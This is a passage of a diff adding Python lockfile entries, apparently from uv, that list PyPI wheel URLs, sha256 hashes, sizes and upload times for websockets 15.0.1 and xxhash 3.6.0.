+    { url = "https://files.pythonhosted.org/packages/d5/4f/b462242432d93ea45f297b6179c7333dd0402b855a912a04e7fc61c0d71f/websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a", size = 173329, upload-time = "2025-03-05T20:01:39.668Z" },
+    { url = "https://files.pythonhosted.org/packages/6e/0c/6afa1f4644d7ed50284ac59cc70ef8abd44ccf7d45850d989ea7310538d0/websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e", size = 182312, upload-time = "2025-03-05T20:01:41.815Z" },
+    { url = "https://files.pythonhosted.org/packages/dd/d4/ffc8bd1350b229ca7a4db2a3e1c482cf87cea1baccd0ef3e72bc720caeec/websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf", size = 181319, upload-time = "2025-03-05T20:01:43.967Z" },
+    { url = "https://files.pythonhosted.org/packages/97/3a/5323a6bb94917af13bbb34009fac01e55c51dfde354f63692bf2533ffbc2/websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb", size = 181631, upload-time = "2025-03-05T20:01:46.104Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/cc/1aeb0f7cee59ef065724041bb7ed667b6ab1eeffe5141696cccec2687b66/websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d", size = 182016, upload-time = "2025-03-05T20:01:47.603Z" },
+    { url = "https://files.pythonhosted.org/packages/79/f9/c86f8f7af208e4161a7f7e02774e9d0a81c632ae76db2ff22549e1718a51/websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9", size = 181426, upload-time = "2025-03-05T20:01:48.949Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/b9/828b0bc6753db905b91df6ae477c0b14a141090df64fb17f8a9d7e3516cf/websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c", size = 181360, upload-time = "2025-03-05T20:01:50.938Z" },
+    { url = "https://files.pythonhosted.org/packages/89/fb/250f5533ec468ba6327055b7d98b9df056fb1ce623b8b6aaafb30b55d02e/websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256", size = 176388, upload-time = "2025-03-05T20:01:52.213Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/46/aca7082012768bb98e5608f01658ff3ac8437e563eca41cf068bd5849a5e/websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41", size = 176830, upload-time = "2025-03-05T20:01:53.922Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/32/18fcd5919c293a398db67443acd33fde142f283853076049824fc58e6f75/websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431", size = 175423, upload-time = "2025-03-05T20:01:56.276Z" },
+    { url = "https://files.pythonhosted.org/packages/76/70/ba1ad96b07869275ef42e2ce21f07a5b0148936688c2baf7e4a1f60d5058/websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57", size = 173082, upload-time = "2025-03-05T20:01:57.563Z" },
+    { url = "https://files.pythonhosted.org/packages/86/f2/10b55821dd40eb696ce4704a87d57774696f9451108cff0d2824c97e0f97/websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905", size = 173330, upload-time = "2025-03-05T20:01:59.063Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/90/1c37ae8b8a113d3daf1065222b6af61cc44102da95388ac0018fcb7d93d9/websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562", size = 182878, upload-time = "2025-03-05T20:02:00.305Z" },
+    { url = "https://files.pythonhosted.org/packages/8e/8d/96e8e288b2a41dffafb78e8904ea7367ee4f891dafc2ab8d87e2124cb3d3/websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792", size = 181883, upload-time = "2025-03-05T20:02:03.148Z" },
+    { url = "https://files.pythonhosted.org/packages/93/1f/5d6dbf551766308f6f50f8baf8e9860be6182911e8106da7a7f73785f4c4/websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413", size = 182252, upload-time = "2025-03-05T20:02:05.29Z" },
+    { url = "https://files.pythonhosted.org/packages/d4/78/2d4fed9123e6620cbf1706c0de8a1632e1a28e7774d94346d7de1bba2ca3/websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8", size = 182521, upload-time = "2025-03-05T20:02:07.458Z" },
+    { url = "https://files.pythonhosted.org/packages/e7/3b/66d4c1b444dd1a9823c4a81f50231b921bab54eee2f69e70319b4e21f1ca/websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3", size = 181958, upload-time = "2025-03-05T20:02:09.842Z" },
+    { url = "https://files.pythonhosted.org/packages/08/ff/e9eed2ee5fed6f76fdd6032ca5cd38c57ca9661430bb3d5fb2872dc8703c/websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:54479983bd5fb469c38f2f5c7e3a24f9a4e70594cd68cd1fa6b9340dadaff7cf", size = 181918, upload-time = "2025-03-05T20:02:11.968Z" },
+    { url = "https://files.pythonhosted.org/packages/d8/75/994634a49b7e12532be6a42103597b71098fd25900f7437d6055ed39930a/websockets-15.0.1-cp311-cp311-win32.whl", hash = "sha256:16b6c1b3e57799b9d38427dda63edcbe4926352c47cf88588c0be4ace18dac85", size = 176388, upload-time = "2025-03-05T20:02:13.32Z" },
+    { url = "https://files.pythonhosted.org/packages/98/93/e36c73f78400a65f5e236cd376713c34182e6663f6889cd45a4a04d8f203/websockets-15.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:27ccee0071a0e75d22cb35849b1db43f2ecd3e161041ac1ee9d2352ddf72f065", size = 176828, upload-time = "2025-03-05T20:02:14.585Z" },
+    { url = "https://files.pythonhosted.org/packages/51/6b/4545a0d843594f5d0771e86463606a3988b5a09ca5123136f8a76580dd63/websockets-15.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:3e90baa811a5d73f3ca0bcbf32064d663ed81318ab225ee4f427ad4e26e5aff3", size = 175437, upload-time = "2025-03-05T20:02:16.706Z" },
+    { url = "https://files.pythonhosted.org/packages/f4/71/809a0f5f6a06522af902e0f2ea2757f71ead94610010cf570ab5c98e99ed/websockets-15.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:592f1a9fe869c778694f0aa806ba0374e97648ab57936f092fd9d87f8bc03665", size = 173096, upload-time = "2025-03-05T20:02:18.832Z" },
+    { url = "https://files.pythonhosted.org/packages/3d/69/1a681dd6f02180916f116894181eab8b2e25b31e484c5d0eae637ec01f7c/websockets-15.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0701bc3cfcb9164d04a14b149fd74be7347a530ad3bbf15ab2c678a2cd3dd9a2", size = 173332, upload-time = "2025-03-05T20:02:20.187Z" },
+    { url = "https://files.pythonhosted.org/packages/a6/02/0073b3952f5bce97eafbb35757f8d0d54812b6174ed8dd952aa08429bcc3/websockets-15.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215", size = 183152, upload-time = "2025-03-05T20:02:22.286Z" },
+    { url = "https://files.pythonhosted.org/packages/74/45/c205c8480eafd114b428284840da0b1be9ffd0e4f87338dc95dc6ff961a1/websockets-15.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0af68c55afbd5f07986df82831c7bff04846928ea8d1fd7f30052638788bc9b5", size = 182096, upload-time = "2025-03-05T20:02:24.368Z" },
+    { url = "https://files.pythonhosted.org/packages/14/8f/aa61f528fba38578ec553c145857a181384c72b98156f858ca5c8e82d9d3/websockets-15.0.1-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64dee438fed052b52e4f98f76c5790513235efaa1ef7f3f2192c392cd7c91b65", size = 182523, upload-time = "2025-03-05T20:02:25.669Z" },
+    { url = "https://files.pythonhosted.org/packages/ec/6d/0267396610add5bc0d0d3e77f546d4cd287200804fe02323797de77dbce9/websockets-15.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe", size = 182790, upload-time = "2025-03-05T20:02:26.99Z" },
+    { url = "https://files.pythonhosted.org/packages/02/05/c68c5adbf679cf610ae2f74a9b871ae84564462955d991178f95a1ddb7dd/websockets-15.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:5d54b09eba2bada6011aea5375542a157637b91029687eb4fdb2dab11059c1b4", size = 182165, upload-time = "2025-03-05T20:02:30.291Z" },
+    { url = "https://files.pythonhosted.org/packages/29/93/bb672df7b2f5faac89761cb5fa34f5cec45a4026c383a4b5761c6cea5c16/websockets-15.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3be571a8b5afed347da347bfcf27ba12b069d9d7f42cb8c7028b5e98bbb12597", size = 182160, upload-time = "2025-03-05T20:02:31.634Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/83/de1f7709376dc3ca9b7eeb4b9a07b4526b14876b6d372a4dc62312bebee0/websockets-15.0.1-cp312-cp312-win32.whl", hash = "sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9", size = 176395, upload-time = "2025-03-05T20:02:33.017Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/71/abf2ebc3bbfa40f391ce1428c7168fb20582d0ff57019b69ea20fa698043/websockets-15.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7", size = 176841, upload-time = "2025-03-05T20:02:34.498Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/9f/51f0cf64471a9d2b4d0fc6c534f323b664e7095640c34562f5182e5a7195/websockets-15.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931", size = 175440, upload-time = "2025-03-05T20:02:36.695Z" },
+    { url = "https://files.pythonhosted.org/packages/8a/05/aa116ec9943c718905997412c5989f7ed671bc0188ee2ba89520e8765d7b/websockets-15.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5a939de6b7b4e18ca683218320fc67ea886038265fd1ed30173f5ce3f8e85675", size = 173098, upload-time = "2025-03-05T20:02:37.985Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/0b/33cef55ff24f2d92924923c99926dcce78e7bd922d649467f0eda8368923/websockets-15.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151", size = 173329, upload-time = "2025-03-05T20:02:39.298Z" },
+    { url = "https://files.pythonhosted.org/packages/31/1d/063b25dcc01faa8fada1469bdf769de3768b7044eac9d41f734fd7b6ad6d/websockets-15.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:595b6c3969023ecf9041b2936ac3827e4623bfa3ccf007575f04c5a6aa318c22", size = 183111, upload-time = "2025-03-05T20:02:40.595Z" },
+    { url = "https://files.pythonhosted.org/packages/93/53/9a87ee494a51bf63e4ec9241c1ccc4f7c2f45fff85d5bde2ff74fcb68b9e/websockets-15.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3c714d2fc58b5ca3e285461a4cc0c9a66bd0e24c5da9911e30158286c9b5be7f", size = 182054, upload-time = "2025-03-05T20:02:41.926Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/b2/83a6ddf56cdcbad4e3d841fcc55d6ba7d19aeb89c50f24dd7e859ec0805f/websockets-15.0.1-cp313-cp313-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0f3c1e2ab208db911594ae5b4f79addeb3501604a165019dd221c0bdcabe4db8", size = 182496, upload-time = "2025-03-05T20:02:43.304Z" },
+    { url = "https://files.pythonhosted.org/packages/98/41/e7038944ed0abf34c45aa4635ba28136f06052e08fc2168520bb8b25149f/websockets-15.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:229cf1d3ca6c1804400b0a9790dc66528e08a6a1feec0d5040e8b9eb14422375", size = 182829, upload-time = "2025-03-05T20:02:48.812Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/17/de15b6158680c7623c6ef0db361da965ab25d813ae54fcfeae2e5b9ef910/websockets-15.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d", size = 182217, upload-time = "2025-03-05T20:02:50.14Z" },
+    { url = "https://files.pythonhosted.org/packages/33/2b/1f168cb6041853eef0362fb9554c3824367c5560cbdaad89ac40f8c2edfc/websockets-15.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:558d023b3df0bffe50a04e710bc87742de35060580a293c2a984299ed83bc4e4", size = 182195, upload-time = "2025-03-05T20:02:51.561Z" },
+    { url = "https://files.pythonhosted.org/packages/86/eb/20b6cdf273913d0ad05a6a14aed4b9a85591c18a987a3d47f20fa13dcc47/websockets-15.0.1-cp313-cp313-win32.whl", hash = "sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa", size = 176393, upload-time = "2025-03-05T20:02:53.814Z" },
+    { url = "https://files.pythonhosted.org/packages/1b/6c/c65773d6cab416a64d191d6ee8a8b1c68a09970ea6909d16965d26bfed1e/websockets-15.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561", size = 176837, upload-time = "2025-03-05T20:02:55.237Z" },
+    { url = "https://files.pythonhosted.org/packages/02/9e/d40f779fa16f74d3468357197af8d6ad07e7c5a27ea1ca74ceb38986f77a/websockets-15.0.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0c9e74d766f2818bb95f84c25be4dea09841ac0f734d1966f415e4edfc4ef1c3", size = 173109, upload-time = "2025-03-05T20:03:17.769Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/cd/5b887b8585a593073fd92f7c23ecd3985cd2c3175025a91b0d69b0551372/websockets-15.0.1-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1009ee0c7739c08a0cd59de430d6de452a55e42d6b522de7aa15e6f67db0b8e1", size = 173343, upload-time = "2025-03-05T20:03:19.094Z" },
+    { url = "https://files.pythonhosted.org/packages/fe/ae/d34f7556890341e900a95acf4886833646306269f899d58ad62f588bf410/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475", size = 174599, upload-time = "2025-03-05T20:03:21.1Z" },
+    { url = "https://files.pythonhosted.org/packages/71/e6/5fd43993a87db364ec60fc1d608273a1a465c0caba69176dd160e197ce42/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9", size = 174207, upload-time = "2025-03-05T20:03:23.221Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/fb/c492d6daa5ec067c2988ac80c61359ace5c4c674c532985ac5a123436cec/websockets-15.0.1-pp310-pypy310_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04", size = 174155, upload-time = "2025-03-05T20:03:25.321Z" },
+    { url = "https://files.pythonhosted.org/packages/68/a1/dcb68430b1d00b698ae7a7e0194433bce4f07ded185f0ee5fb21e2a2e91e/websockets-15.0.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122", size = 176884, upload-time = "2025-03-05T20:03:27.934Z" },
+    { url = "https://files.pythonhosted.org/packages/fa/a8/5b41e0da817d64113292ab1f8247140aac61cbf6cfd085d6a0fa77f4984f/websockets-15.0.1-py3-none-any.whl", hash = "sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f", size = 169743, upload-time = "2025-03-05T20:03:39.41Z" },
+]
+
+[[package]]
+name = "xxhash"
+version = "3.6.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/02/84/30869e01909fb37a6cc7e18688ee8bf1e42d57e7e0777636bd47524c43c7/xxhash-3.6.0.tar.gz", hash = "sha256:f0162a78b13a0d7617b2845b90c763339d1f1d82bb04a4b07f4ab535cc5e05d6", size = 85160, upload-time = "2025-10-02T14:37:08.097Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/34/ee/f9f1d656ad168681bb0f6b092372c1e533c4416b8069b1896a175c46e484/xxhash-3.6.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:87ff03d7e35c61435976554477a7f4cd1704c3596a89a8300d5ce7fc83874a71", size = 32845, upload-time = "2025-10-02T14:33:51.573Z" },
+    { url = "https://files.pythonhosted.org/packages/a3/b1/93508d9460b292c74a09b83d16750c52a0ead89c51eea9951cb97a60d959/xxhash-3.6.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:f572dfd3d0e2eb1a57511831cf6341242f5a9f8298a45862d085f5b93394a27d", size = 30807, upload-time = "2025-10-02T14:33:52.964Z" },
+    { url = "https://files.pythonhosted.org/packages/07/55/28c93a3662f2d200c70704efe74aab9640e824f8ce330d8d3943bf7c9b3c/xxhash-3.6.0-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:89952ea539566b9fed2bbd94e589672794b4286f342254fad28b149f9615fef8", size = 193786, upload-time = "2025-10-02T14:33:54.272Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/96/fec0be9bb4b8f5d9c57d76380a366f31a1781fb802f76fc7cda6c84893c7/xxhash-3.6.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:48e6f2ffb07a50b52465a1032c3cf1f4a5683f944acaca8a134a2f23674c2058", size = 212830, upload-time = "2025-10-02T14:33:55.706Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/a0/c706845ba77b9611f81fd2e93fad9859346b026e8445e76f8c6fd057cc6d/xxhash-3.6.0-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b5b848ad6c16d308c3ac7ad4ba6bede80ed5df2ba8ed382f8932df63158dd4b2", size = 211606, upload-time = "2025-10-02T14:33:57.133Z" },
+    { url = "https://files.pythonhosted.org/packages/67/1e/164126a2999e5045f04a69257eea946c0dc3e86541b400d4385d646b53d7/xxhash-3.6.0-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a034590a727b44dd8ac5914236a7b8504144447a9682586c3327e935f33ec8cc", size = 444872, upload-time = "2025-10-02T14:33:58.446Z" },
+    { url = "https://files.pythonhosted.org/packages/2d/4b/55ab404c56cd70a2cf5ecfe484838865d0fea5627365c6c8ca156bd09c8f/xxhash-3.6.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a8f1972e75ebdd161d7896743122834fe87378160c20e97f8b09166213bf8cc", size = 193217, upload-time = "2025-10-02T14:33:59.724Z" },
+    { url = "https://files.pythonhosted.org/packages/45/e6/52abf06bac316db33aa269091ae7311bd53cfc6f4b120ae77bac1b348091/xxhash-3.6.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:ee34327b187f002a596d7b167ebc59a1b729e963ce645964bbc050d2f1b73d07", size = 210139, upload-time = "2025-10-02T14:34:02.041Z" },
+    { url = "https://files.pythonhosted.org/packages/34/37/db94d490b8691236d356bc249c08819cbcef9273a1a30acf1254ff9ce157/xxhash-3.6.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:339f518c3c7a850dd033ab416ea25a692759dc7478a71131fe8869010d2b75e4", size = 197669, upload-time = "2025-10-02T14:34:03.664Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/36/c4f219ef4a17a4f7a64ed3569bc2b5a9c8311abdb22249ac96093625b1a4/xxhash-3.6.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:bf48889c9630542d4709192578aebbd836177c9f7a4a2778a7d6340107c65f06", size = 210018, upload-time = "2025-10-02T14:34:05.325Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/06/bfac889a374fc2fc439a69223d1750eed2e18a7db8514737ab630534fa08/xxhash-3.6.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5576b002a56207f640636056b4160a378fe36a58db73ae5c27a7ec8db35f71d4", size = 413058, upload-time = "2025-10-02T14:34:06.925Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/d1/555d8447e0dd32ad0930a249a522bb2e289f0d08b6b16204cfa42c1f5a0c/xxhash-3.6.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:af1f3278bd02814d6dedc5dec397993b549d6f16c19379721e5a1d31e132c49b", size = 190628, upload-time = "2025-10-02T14:34:08.669Z" },
+    { url = "https://files.pythonhosted.org/packages/d1/15/8751330b5186cedc4ed4b597989882ea05e0408b53fa47bcb46a6125bfc6/xxhash-3.6.0-cp310-cp310-win32.whl", hash = "sha256:aed058764db109dc9052720da65fafe84873b05eb8b07e5e653597951af57c3b", size = 30577, upload-time = "2025-10-02T14:34:10.234Z" },
+    { url = "https://files.pythonhosted.org/packages/bb/cc/53f87e8b5871a6eb2ff7e89c48c66093bda2be52315a8161ddc54ea550c4/xxhash-3.6.0-cp310-cp310-win_amd64.whl", hash = "sha256:e82da5670f2d0d98950317f82a0e4a0197150ff19a6df2ba40399c2a3b9ae5fb", size = 31487, upload-time = "2025-10-02T14:34:11.618Z" },
+    { url = "https://files.pythonhosted.org/packages/9f/00/60f9ea3bb697667a14314d7269956f58bf56bb73864f8f8d52a3c2535e9a/xxhash-3.6.0-cp310-cp310-win_arm64.whl", hash = "sha256:4a082ffff8c6ac07707fb6b671caf7c6e020c75226c561830b73d862060f281d", size = 27863, upload-time = "2025-10-02T14:34:12.619Z" },
+    { url = "https://files.pythonhosted.org/packages/17/d4/cc2f0400e9154df4b9964249da78ebd72f318e35ccc425e9f403c392f22a/xxhash-3.6.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b47bbd8cf2d72797f3c2772eaaac0ded3d3af26481a26d7d7d41dc2d3c46b04a", size = 32844, upload-time = "2025-10-02T14:34:14.037Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/ec/1cc11cd13e26ea8bc3cb4af4eaadd8d46d5014aebb67be3f71fb0b68802a/xxhash-3.6.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:2b6821e94346f96db75abaa6e255706fb06ebd530899ed76d32cd99f20dc52fa", size = 30809, upload-time = "2025-10-02T14:34:15.484Z" },
+    { url = "https://files.pythonhosted.org/packages/04/5f/19fe357ea348d98ca22f456f75a30ac0916b51c753e1f8b2e0e6fb884cce/xxhash-3.6.0-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:d0a9751f71a1a65ce3584e9cae4467651c7e70c9d31017fa57574583a4540248", size = 194665, upload-time = "2025-10-02T14:34:16.541Z" },
+    { url = "https://files.pythonhosted.org/packages/90/3b/d1f1a8f5442a5fd8beedae110c5af7604dc37349a8e16519c13c19a9a2de/xxhash-3.6.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8b29ee68625ab37b04c0b40c3fafdf24d2f75ccd778333cfb698f65f6c463f62", size = 213550, upload-time = "2025-10-02T14:34:17.878Z" },
+    { url = "https://files.pythonhosted.org/packages/c4/ef/3a9b05eb527457d5db13a135a2ae1a26c80fecd624d20f3e8dcc4cb170f3/xxhash-3.6.0-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6812c25fe0d6c36a46ccb002f40f27ac903bf18af9f6dd8f9669cb4d176ab18f", size = 212384, upload-time = "2025-10-02T14:34:19.182Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/18/ccc194ee698c6c623acbf0f8c2969811a8a4b6185af5e824cd27b9e4fd3e/xxhash-3.6.0-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4ccbff013972390b51a18ef1255ef5ac125c92dc9143b2d1909f59abc765540e", size = 445749, upload-time = "2025-10-02T14:34:20.659Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/86/cf2c0321dc3940a7aa73076f4fd677a0fb3e405cb297ead7d864fd90847e/xxhash-3.6.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:297b7fbf86c82c550e12e8fb71968b3f033d27b874276ba3624ea868c11165a8", size = 193880, upload-time = "2025-10-02T14:34:22.431Z" },
+    { url = "https://files.pythonhosted.org/packages/82/fb/96213c8560e6f948a1ecc9a7613f8032b19ee45f747f4fca4eb31bb6d6ed/xxhash-3.6.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:dea26ae1eb293db089798d3973a5fc928a18fdd97cc8801226fae705b02b14b0", size = 210912, upload-time = "2025-10-02T14:34:23.937Z" },
+    { url = "https://files.pythonhosted.org/packages/40/aa/4395e669b0606a096d6788f40dbdf2b819d6773aa290c19e6e83cbfc312f/xxhash-3.6.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7a0b169aafb98f4284f73635a8e93f0735f9cbde17bd5ec332480484241aaa77", size = 198654, upload-time = "2025-10-02T14:34:25.644Z" },
+    { url = "https://files.pythonhosted.org/packages/67/74/b044fcd6b3d89e9b1b665924d85d3f400636c23590226feb1eb09e1176ce/xxhash-3.6.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:08d45aef063a4531b785cd72de4887766d01dc8f362a515693df349fdb825e0c", size = 210867, upload-time = "2025-10-02T14:34:27.203Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/fd/3ce73bf753b08cb19daee1eb14aa0d7fe331f8da9c02dd95316ddfe5275e/xxhash-3.6.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:929142361a48ee07f09121fe9e96a84950e8d4df3bb298ca5d88061969f34d7b", size = 414012, upload-time = "2025-10-02T14:34:28.409Z" },
+    { url = "https://files.pythonhosted.org/packages/ba/b3/5a4241309217c5c876f156b10778f3ab3af7ba7e3259e6d5f5c7d0129eb2/xxhash-3.6.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:51312c768403d8540487dbbfb557454cfc55589bbde6424456951f7fcd4facb3", size = 191409, upload-time = "2025-10-02T14:34:29.696Z" },
+    { url = "https://files.pythonhosted.org/packages/c0/01/99bfbc15fb9abb9a72b088c1d95219fc4782b7d01fc835bd5744d66dd0b8/xxhash-3.6.0-cp311-cp311-win32.whl", hash = "sha256:d1927a69feddc24c987b337ce81ac15c4720955b667fe9b588e02254b80446fd", size = 30574, upload-time = "2025-10-02T14:34:31.028Z" },
